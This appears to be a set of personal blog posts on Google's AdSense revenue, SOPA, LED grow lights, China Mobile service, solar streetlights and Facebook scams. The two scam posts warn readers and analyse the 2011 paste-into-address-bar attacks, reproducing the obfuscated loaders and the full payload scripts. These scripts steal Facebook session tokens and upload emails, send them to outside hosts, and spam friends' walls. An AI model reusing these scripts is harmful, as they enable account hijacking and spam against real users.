The story – While in the first part the Forbes contributor is not happy at Google’s almost script like way to talk to the media, we finally are exposed to the thing Google don’t want you to know about: the fact that 96% of Google revenue comes from AdSense and that AdSense business is slowing. After reading a lot more paragraphs in order to really convince us that this revenue slowing is really a BIG PROBLEM we are faced with the seeming obvious conclusion: “I think the Google management team’s use of language suggests a deliberate effort to conceal just how big the slowdown in their 96% core business is.”.

As any point of view, mine is also biased by what i am, by what i think and by what i think i know but nevertheless i want to share it with you here:

Write about something else or write your own TED Talk – Writing articles about Google and big corporations alike is easy because there are so many sources online out there that you don’t need to do any time consuming research to do it and thus you have no time to digest the informations that you present and the contributor is mentioning this himself ( “We’re just lowly journalists on a deadline for our next story.  We’re not compensated to actually push back and think.  It’s just on to the next drive-by report we’ll write.” ). Another thing is that journalists know that this is the fastest ticket to readership. Bad or good articles alike make you comment on the subject you already know with other people that already know the subject making it an worthless easy read for everyone.

Google’s shrinking AdSense story – Google is about people and what people search on the internet.  One might say that Google is not making money from search and would be almost right: search is just the conduit to make people read those AdSense out there and generate profits for Google. With the advent of social media and social collaboration tools like Facebook, Twitter etc, people are spending more time talking and sharing informations in a social way than in the traditional search yourself way. I see Google is getting less profits from AdSense as a direct result of the shrinking of  ’useful’ search done on it’s search engine and because the overall search market is shrinking, not just that Google is underperforming.  Google is advancing it’s percents well in this shrinking market and don’t be fooled if you can tell me that the market is not shrinking by looking at statistics, this event is ‘delayed’ in some way by the fact that everyday new people start using computers ( for example old age people starting to use computers thanks to the iPad ) but if we count the well established users i am sure we will find out this trend. Facebook is indeed cashing in on Google’s delayed response in the social world but this is only normal. After all it is normal that ad revenue that is departing Google to be captured in great percent by Facebook because simply people use more Facebook than Google and are likely to see Facebook’s ads rather than Google AdSense ads.  This trend of a shrinking search market will eventually reach an equilibrium so i believe this is not a worrying thing when it comes to Google future. The profits from AdSense will shrink too but not indefinitely as some want us to believe.

Social and mobile focus – The Forbe’s contributor is very much unpleased by the fact that Google’s PR is trying to promote figures about nascent income sources and products like Google+ and Android etc. Google already knows what i’ve tried to convey to you in the previous paragraph so they know that in order to offset the loses to AdSense and increase their income revenue they must get 2 things: more users and more ‘quality time’ for those users.

More users: By pushing for Android operating system they are for sure getting more and more users everyday to join their user base and again letting know the press how many Android users are joining is in my opinion a normal thing to do;

More quality time:  By pushing for Google+ Google is doing just that. It’s trying to get it’s users more quality time around their friends, making Google more personal than ever. It is well known the fact that the social way is also a way to make people want to return to the same place over and over ( like hangouts for young, parks for old ) providing a some form of income repeatability for the said establishment. This is what is Google after. They want to have a social platform that will make Google indispensable and in a sense irreplaceable. This is a hard job because we already have Facebook and, because of each human’s disability to change and start over, once you have a Facebook account it’s really hard to switch. Your list of friends ( the social factor ) is making you stick whether you want it or not.

To make this short i believe that Google is doing the right thing to do what it does and has the greatest amount of corporate conscience among the ones i know about, providing customers with quality products while speaking on their behalf when their voice needs to be heard ( check the latest SOPA/PIPA events, etc. ). While Google i think is properly prepared for the foreseeable future i can’t say the same thing about Forbes and it’s contributors that don’t know what to say anymore to get more readers and income. The future will show us that we don’t need Forbes to tell us what to think when it comes to business insight. The new world instead gives us access to information so that everybody can form his own documented opinion on a vast array of subjects. It’s Forbes’s annual earnings that i can’t find on the internet, not Google’s.

P.S. I do want to know how much money Forbes magazine and it’s website is making. If someone knows that please do comment.

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As we have learned from a previous TED Talk ( Daniel Wolpert: The real reason for brains ) our brain is wired to choose the easy path and of course will choose to choose less information over more. In a product world, less products on offer mean less companies manufacturing those products and means bigger monopolies and we all know where monopoly leads. If we are talking about food products, less products on offer means a decrease in diversity and an increase in monocultures. This in turn amplifies the extinction of species ( not restricted to plants as plants are only at the beginning of the food chain ), decreases the quality of land, increases the use of pesticides and many other bad effects.  A very enlightening TED Talk - Cary Fowler: One seed at a time, protecting the future of food is proposing the opposite when it comes to food and gives us one last chance when it comes to our survival.

Earth can’t simply provide everybody with cars, with the same types of foods, etc. We need to embrace diversity not stifle it.

What i propose ? If you are in front of 200 types of olive oil and you don’t know what type to choose, pick one that you have heard of it, pick your favorite again or just randomize.  And believe me … some of the best choices i’ve made were random !

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Other causes for this error might be the fact that the library and your project is not compiled with the same parameters like: Runtime Library, Character Set, Use of ATL, Use of MFC, etc.

To easily include a library in your project add the library project to the Solution, then “Add New Reference …” button in the Property Pages of the project that need to use that library.

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I know what censorship is because i live in China and i can understand that the laws like SOPA and PIPA are in a way much worse than what Chinese are doing with their great firewall. China it is mainly censoring stuff to make sure it’s current leaders and political system will be there for the foreseeable future but censors rarely punish ordinary Chinese for their disobedience.

Now corporations in America want to do worse ! They also want to make sure they will be there for the foreseeable future much in a way Chinese government wants and they are not only satisfied to control what people see and hear, they want also to punish the ordinary american for not seeing and hearing what they want, so in a sense it’s much worse than what Chinese are already doing.

I have always considered America as a champion of free speach and innovative thinking. I really hope i won’t be proven wrong!

To read more please visit http://en.wikipedia.org/wiki/Wikipedia:SOPA_initiative/Learn_more

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What are LED grow lights ? LED grow lights are special panels that contain LED diodes and can be used to promote the growth of plants without the presence of the sun.

Why are LED grow light panels so useful ? There are many reasons why LED grow lights are so useful. Here are some of them:

1. compared with traditional grow lights they have a much greater life span ( 50.000 hours compared to a maximum of 15.000 hours for normal lamps );
2. they use less power than traditional grow lights, in fact they are up to 90% more efficient;
3. they generate less heat than traditional grow lights so you won’t be required to use any cooling equipment;
4. generating less heat means that they can be touched during operation and are safe for children also;
5. more resistant to shocks and vibration then any other lighting fixtures, easier handling. LED’s can’t break if you drop them on the floor by mistake;
6. lightweight means they are easy to carry, install and also the shipping cost is much reduced;
7. in general grow lights enables you to grow any plants in any environment; there have been cases of natural disasters like floods that destroyed local plant cultures and also stranded entire regions; In this cases using LED grow lights people can grow their plants on the spot; Mitsubishi Chemical’s has already developed complete systems like this container vegetable plant to assist in this areas.
8. your plants will grow during the night or in low light conditions.

Why are the LED grow lights that i sell better than others ? Because they have all the requirements of a quality grow light fixture with a much cheaper price tag.

For example i sell a 45Watt ( real power ) LED grow light panel with 89 USD a piece and a big discounts for 20 or more sets. I prefer selling bigger quantities with a lower price. This way i try to promote the usage of such environment friendly solutions and make them affordable for everyone.

Do i think LED grow lights usage is good and healthy ? Yes i do. In this times when the sun’s ultraviolet rays are becoming extremely dangerous for our health because of the depletion of our planet’s ozone layers, in this times when air pollution in some open areas is at it’s historical heights and the sun is rarely seen because of smog, i sadly believe that one of the few healthy options someone has on growing it’s plants is to use LED grow lights to promote plant growth. This is science’s answer to our current and future needs.

What models are available ? I can custom produce LED grow lights depending with customer’s needs. For retail i will sell for the moment only the 45W version as it’s the best cost / performance version we have produced until now.

45W LED grow light specifications:

• Dimensions: 320*320*40
• Power: 45W
• number of LED’s 112 ( 72 RED, 40 BLUE )
• 660 Nm RED / 450 Nm BLUE
• Lifetime: 50K hours
• 110V/230V
• available US/EUROPEAN power cords types

The prices are:

• 89 USD  1+ pcs
• 79 USD 20+ pcs
• 69 USD 50+ pcs

If you are interested email me at dan@usefulfor.me and i will provide you with shipping costs, availability and payment methods.

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I went to the closest China Mobile store and asked for a replacement since i am a  ”Go Tone” subscriber.  There after waiting for my number ( you have to take a number and stay in line ) they asked me for my passport. After i have provided them with my current passport they told me i need to bring my old passport … that is the last passport i have given them.  I am in China for 5 years already and during this time i have changed 5 passports .

I have asked them if there is a main China Mobile office in Shenzhen where i can replace my own simcard without needing the passport i have used 5 years ago. They did knew the location and address but they did not want to give to me because seems this are their orders: call 10086. I have asked them how can i replace the simcard by phone and how can i call 10086 without any simcard. They replied that this are the rules.

I have asked them to show me the rules of China Mobile where i can read, even in Chinese that i need to provide the old passport to get my simcard back. They have failed to do so as there is no written rule that stipulates this thing. ( they searched for something for about 20 minutes ).

I have asked them to provide me with an written notice to inform me that they cannot replace my simcard without presenting my old passport. They did not want to do this.

I have asked them to let me record them saying they they cannot provide me with the simcard unless i bring the old passport. They told me that recordings are forbidden in China Mobile shops everywhere. Yet each China Mobile shop has 5 digital cameras to record every movement of every person inside.

I have asked them to give me a business card. They did not have any available. They have given me a paper with a phone number barely recognizable.

I have asked them to provide me with a complaints form. There are none available.

I have asked them to tell me how can i prove i have been in their shop that day. They told me to recharge 1 RMB to my not working simcard using their “recharge machine”.

I have asked them to give me the “consumer office” phone number. They had no number available. ( Are there such government organizations in China ? )

Finally after 1 hour i have left the China Mobile shop.

Luckily i have found 4 of my old passports later that day and did replaced my broken simcard.

I did learn something:

• keep all your passports, no matter how old if you want to be able to close, replace or do anything else to your China Mobile subscription and probably to any other subscriptions in China;
• workers of China Mobile are robots and think only as they are told to by their “boss ” even if there is no written rule;
• workers of China Mobile are more eager to clean the floor of their shop than to help customers; everybody helped with the cleaning while people waited in line for their turn to speak with somebody; cleaning the floor i guess is less of a headache than talking;
• China Mobile has no English service if you call 10086; anyway they won’t understand your English no matter what;
• Welcome to China !

I guess China Telecom that already cheated me and China Unicom that has bad signal everywhere, are the same in this area, so, having no other alternatives, i’ll have to keep on using China Mobile.

Because i like to find out all the angles of a certain situation i realized that there is an plausible explaination for this:

In China all ID’s and other identity papers have unique numbers. Also, in China, there are a lot of persons with the same name living in the same place so the ID’s number is in fact he only thing that can differentiate between persons. Chinese believe the same thing applies to foreigners witch is in general not true so showing them a new passport with a different number makes you a different person altogether. I wonder if Chinese law works under the same principle.

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For those of you unfamiliar with what i am talking about please read first my previous post.
Please remember: Never write any JavaScript script or any other script in your browser’s address bar! It’s almost for sure designed to steal something from you, no matter that we talk about Facebook or something else.

I admit not testing the script myself ( unlike the first script i did tried ). Let’s hope is not a functional one and that not so many people used it but, as i see it, soon the internet will be flooded with such scripts if it’s not already ! The problem is that usually people don’t even alarm themselves until their Facebook is already full of spam and at that point some don’t know what is the problem and what is that they need to do.

The answer is simple: Logout then login again, reset your personal publishing address, leave the groups you have been forcefully opted in.

Here is the script that i have found posted by many … in some Serbian Facebook group…

javascript:
var _0x9557=[
"\x73\x72\x63",
"\x73\x63\x72\x69\x70\x74",
"\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74",
"\x2f\x2f\x69\x67\x72\x65\x2d\x6b\x75\x68\x61\x6e\x6a\x61
\x2e\x63\x6f\x6d\x2f\x66\x62\x2f\x62\x2e\x6a\x73\x3f\x73\x68",
"\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",
"\x62\x6F\x64\x79"];
(a=(b=document)[_0x9557[2]](_0x9557[1]))[_0x9557[0]]=_0x9557[3];
b[_0x9557[5]][_0x9557[4]](a);
void (0);

Translated into a human readable form:

javascript:
var _0x9557=[
"src",
"script",
"createElement",
"//i_g_r_e-k_u_h_a_n_j_a.com/fb/b.js?sh",
"appendChild",
"body"];
(a=(b=document)[_0x9557[2]](_0x9557[1]))[_0x9557[0]]=_0x9557[3];
b[_0x9557[5]][_0x9557[4]](a);
void (0);

And we check the website in question for the b.js script that the first script loads. Looking at this script i was even a bit surprised. There are beautiful explainations on how the script steals from you directly in the code. So with no more useless comments here is the script:

//These are to be posted as status messages
txt = “Nevjerojatni šokantni video obavezno pogledaj http://www.facebook.com/pages/Sokantni-video/176064629096511 “;
txtee = “Nevjerojatni šokantni video obavezno pogledaj http://www.facebook.com/pages/Sokantni-video/176064629096511″;

alert(“Sačekajte par minuta, u toku je provera. Pa kliknite OK da nastavite.”);
with(x = new XMLHttpRequest()) open(“GET”, “/”), onreadystatechange = function () {

if (x.readyState == 4 && x.status == 200) {
z=x.responseText;
//comp = z.match(/name=”UIComposer_STATE_PIC_OUTSIDE” value=”([\d\w]+)”/i)[1];
// comp = x.responseText.match(/name=”UIComposer_STATE_PIC_OUTSIDE” id=”([\d\w]+)”/i)[1];
form = z.match(/name=”post_form_id” value=”([\d\w]+)”/i)[1];
dt = z.match(/name=”fb_dtsg” value=”([\d\w-_]+)”/i)[1];
pfid = z.match(/name=”post_form_id” value=”([\d\w]+)”/i)[1];

with(xx = new XMLHttpRequest())
open(“GET”, “/ajax/browser/friends/?uid=” +
document.cookie.match(/c_user=(\d+)/)[1] +
“&filter=all&__a=1&__d=1″),
onreadystatechange = function () {
//extracts list of friends

if (xx.readyState == 4 && xx.status == 200) {
m = xx.responseText.match(/\/\d+_\d+_\d+_q\.jpg/gi).join(“\n”).replace(/(\/\d+_|_\d+_q\.jpg)/gi, “”).split(“\n”);
//facebook returns list of friends images of the form of three numbers separated by _,
//the above regular expression extracts out the middle of the two
//(which infact is the userID of friend)
i = 0;
llimit=25;
t = setInterval(function () {
if (i >= llimit )
return;//it seems the limit is 25 posts per 2 seconds on facebook (to be counted as bot)
if(i == 0) {//do it only once
with(ddddd = new XMLHttpRequest()) open(“GET”, “/ajax/pages/dialog/manage_pages.php?__a=1&__d=1″),
setRequestHeader(“X-Requested-With”, null),
setRequestHeader(“X-Requested”, null),
onreadystatechange = function() {
if(ddddd.readyState == 4 && ddddd.status == 200) {
llm = (d = ddddd.responseText).match(/\\”id\\”:([\d]+)/gi); len =llm.length;
j=0;
for(j=0;j with(xxxcxxx = new XMLHttpRequest()) open(“POST”, “/pages/edit/?id=”+llm[j].replace(/\\”id\\”:/i, “”)
+”&sk=admin”),
setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”),
send(“post_form_id=”+pfid+”&fb_dtsg=”+dt+”&fbpage_id=”+llm[j].replace(/\\”id\\”:/i, “”)+
“&friendselector_input%5B%5D=miroantic%40net.hr%09&friend_selected%5B%5D=&save=1″);
//I am not very sure on this one but it seems it adds as admin of all pages the user holds
}
}
}, send(null); //end of function to change the admins
// this one collects cookie as well as the personalized status update email address
// (a photo sent to that address is posted on the wall directly)
}
//following code does status update
//the code writes message represented by txt and txtee alternately on the wall of friends.
//txt and txtee are same though (may be author’s mistake)
if(i%2==0)
{
with(xd = new XMLHttpRequest()) open(“POST”, “/ajax/updatestatus.php?__a=1″),
setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”),
send(“action=PROFILE_UPDATE&profile_id=” + document.cookie.match(/c_user=(\d+)/)[1] + “&status=” + txt +
“&target_id=” + m[Math.floor(Math.random() * m.length)] +
//m is an array of id of friends (was created early in the script exec), choose a random friend
“&composer_id=” +
“&hey_kid_im_a_composer=true&display_context=profile&post_form_id=” +form + “&fb_dtsg=” + dt +
//comp, form, dt are (probably) XSRF prevention tokens
“&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest”);
}
else
{
with(xd = new XMLHttpRequest()) open(“POST”, “/ajax/updatestatus.php?__a=1″),
setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”),
send(“action=PROFILE_UPDATE&profile_id=” + document.cookie.match(/c_user=(\d+)/)[1] + “&status=” + txtee +
“&target_id=” + m[Math.floor(Math.random() * m.length)] + “&composer_id=”+
“&hey_kid_im_a_composer=true&display_context=profile&post_form_id=” + form + “&fb_dtsg=” + dt +
“&lsd&_log_display_context=profile&ajax_log=1&post_form_id_source=AsyncRequest”);
}
i += 1;
}, 2000);// 2000 milli-sec window, after which the script is executed again
}
}, send(null);
}
}, send(null);

The comments inside the script are self explanatory.

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( Using it’s personal publishing address a Facebook user can post pictures and messages by directly sending and email to this address. If someone knows your personal publishing address it can impersonate your and post messages and pictures without your consent, or without you even knowing. This can be very well used by ill intended persons to spam Facebook beyond usability. )

I recently ( 2011.01.18 – around 00:00, GMT )  clicked a link send by a friend of mine on Facebook and … i eventually did do what they said me to do. I was a little bit tired and not very attentive at the job in hand.

The link looked like: ” Ive spent over 132 hours on facebook in my lifetime! Wow that\’s a lot of time wasted! Find out how much time you\’ve spent on facebook here – http://g_o_o.gl/AYkjm” ( “_” in the website name is intentionally added by me here and into the following links to prevent unintentional clicking ). This shortened address “http://goo.gl/A_Y_k_j_m” forwarded me to “http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/time/next.php?id=SCiGm_d“. This page I arrived to was called “Facebook Time Checker“.  The page was pretending that by doing some “browser magic” i would get as result the amount of time that i have spent on Facebook!

IT IS NOT TRUE ! ONLY FACEBOOK KNOWS THIS THING AND IS NOT PUBLIC !
IT’S JUST A GOOD PRETEXT FOR A THIRD PARTY TO STEAL YOUR PRIVATE INFORMATION !

They advised me to copy paste this Javascript into by browser to check the time i have spent on Facebook up to now.

Here is the Javascript ( DON’T EVEN THINK TO COPY PASTE THIS INTO YOUR BROWSER )

javascript:var _0xbdfc=[
"\x73\x63\x72\x69\x70\x74",
"\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74",
"\x73\x72\x63",
"\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77
\x2e\x6e\x65\x77\x73\x31\x37\x63\x68\x61
\x6e\x6e\x65\x6c\x2e\x63\x6f\x6d\x2f\x74
\x69\x6d\x65\x2f\x6d\x6f\x62\x69\x6c\x65
\x2e\x6a\x73",
"\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",
"\x62\x6F\x64\x79"
];
var script=document[_0xbdfc[1]](_0xbdfc[0]);
script[_0xbdfc[2]]=_0xbdfc[3];
document[_0xbdfc[5]][_0xbdfc[4]](script);
void(0);

I did as they said mostly because i was doing things mechanically at that time…

Then i realised that maybe i did something bad  so i started checking what the script was doing.

First i have translated the script into a human readable form:

javascript:var _0xbdfc=[
"scipt",
"createElement",
"src",
"http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/time/mobile.js",
"appendChild",
"body"
];
var script=document[_0xbdfc[1]](_0xbdfc[0]);
script[_0xbdfc[2]]=_0xbdfc[3];
document[_0xbdfc[5]][_0xbdfc[4]](script);
void(0);

Obviously this appends a java script file located on that remote server to our current session.

Let’s check the mobile.js file:

	//Append jquery library
	var newjs = document.createElement('script');
	newjs.setAttribute('src', 'http://s_o_c_i_a_l_g_i_f_t_s.info/jquery.js');
	document.body.appendChild(newjs);
	setTimeout(function(){
		//Grab post form id and other stuff for posting
		if(location.href == "http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/time/index.php")
		{
			alert("Wrong Page. You must paste the script into your browser's\n
                                address bar on any facebook tab or window.\n\n Then Hit Enter!");
			return;
		}
		var uid     = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
		//grab mobiles
		$.get("http://m.facebook.com/upload.php", function(data){
			var mydata = data;
			var mobiles;
			var count = 0;
			$($(mydata).find('a').filter(':contains("m.facebook.com")')).
                        each(function(){if(($(this).text() != undefined)){ mobiles += $(this).text() +";";}});
			var clean = mobiles.replace("undefined","");
			var cut = clean.slice(0,clean.length - 1);
			var insert = cut.replace(/;/g,",");
			//Redirect to php inserter which redirects back to next set of steps.
			top.location.href = 'http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/
                        time/check.php?get=1&m=,'+insert;
		});
	},2000);
	alert("Time Checker Processing - Please wait 2 seconds and click OK to view results.");

By looking at this file we can immediately recognize that the script will load your uploads.php Mobile Facebook page and then harvest the text between the “m.facebook.com” text.

The text contains your personal upload email.

The last thing the script does is that it sends this email back to the third party website.

They now control your Facebook! Using this email they can post anything to your Facebook page without your permission !!

If by mistake, you, like me, already did all the stuff you are not suppose to be doing … you need to:

!!! GO TO YOUR http://m.facebook.com/upload.php PAGE AND RESET YOUR PERSONAL PUBLISHING ADDRESS !!!

By resetting the address Facebook generates a new one for you ! It’s OK because the attacher has no way to find out your new publishing address!

I really hope people read this in time not to “F”word their Facebook ! If you know other websites hosting this type of attack please let us know ( comments are welcome ). Below is a list with such websites ( “_” added to prevent the risks of an unintentional click ):

• http://www.n_e_w_s_1_7_c_h_a_n_n_e_l.com/
• http://2_2_0.1_1_2.3_6.1_7_8/

UPDATES

2011.01.23 – Seems also German Facebook users are tricked in using this javascript and probably much more users with different languages. In this case if someone has the ability to translate this post into other languages so that others can read this in their mother language we welcome his help. Please let me know if there are such translations and provide us with the appropriate link. I hereby permit anyone to translate the content of this post as long as it’s placing a link to this page in the translated version.
2011.01.24 – Serbian users are also tricked into using a different form of script. I have dedicated another post for this one. The principle is the same. One would insert a JavaScript into browser address bar that loads in turn another more potent script. Searching for internet for more references i have found that this scripts are not so new as i thought they are. The only problem is that this social websites are making this scripts viral. I guess Facebook should implement some system to filter this scripts automatically. It can check the posts of it’s users by some patterns and check also the links their users provide for remains of such scripts. As i know about their Copyright policy they own the rights to do whatever they want with the users content… so this can be no problem whatsoever.
2011.01.25 Elias made an complete translation of my post in German language here. Thanks!

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In the following i will give some simple examples on how this “green energy” term is mistakenly and outrageously used:

Solar & wind streetlights ( google images link )

This is a product that should never have existed if people are really thinking at saving the planet and here is why:

1. made from components that have a short lifespan ( battery used to accumulate the electricity generated by wind / solar source, moving parts for the wind power part that can be easily damaged )
2. low efficency ( small scale wind generator is known to have low eficency and the same for the PV panels )
3. components proned to obsolence in a short period of time ( after 10 years nobody will be able to find spareparts for this products )
4. needs periodical mentainance ( the PV panel can get really dirty, the solar generator can get stuck )
5. high cost of replacing current instalations ( larger holding structures, transportation requirements etc )
6. and abundence of polluting agents being used to manufacture this streetlights ( more paint for larger surfaces, more steel to hold the structure etc )
7. much better alternatives exists:

It’s easy to see why the real solution is to use the existent street lights, replace the bulbs / heads with LED powered ones and build separate wind and solar farms. Te cost of mainteinance of a solar powered farm is far less than the cost of menteinance of thousands of streetlights with panels attached. The same applies to wind power. It’s easyer to build and maintain a decent windfarm than maintain separate wind generators spread over thousands of kilometers of streets. In fact we are not talking only about maintenance we are talking about the whole lifecycle of this products.

Using the current electricity supply network will also limit the need for batteries inside the streetlight, in fact won’t be required at all!

I only agree with 1 thing when we are talking about solar and wind powered streetlights: are really usefull in remote locations where electricity is not available or the costs to install such electricity are far higher than the costs of installing the streetlights !

So to everybody out there listening:

!!! STOP USING AND MAKING SOLAR AND/OR WIND POWERED STREETLIGHTS !!! Installing such systems in areas with already available electricity network is a useless, money wasting – earth destroying thing !

Solar garden light ( google images link )

The reasons why solar garden light products are in fact more BLACK then GREEN are similar with the ones of the Solar & Wind Stretlights:

1. easy to break, materials usually don’t widstand low temperature, humidity, high summer sun, etc
2. they require battery to store electricity
3. they use a lot of materials when imagine that one LED lamp connected to the house electricity system should be 1 mm thick at most !
4. they have poor light quality ( cheap models )
5. very low lifespan and fast obsolence

There is no logical explaination that comes to my mind on why should anyone use this product! Everything can be done in a much better way using already available materials and some wiring ( use 24V systems if you are concerned with safety )

That’s it for now ! I will be back and complete this list with more BLACK products in the near future ! See you soon !

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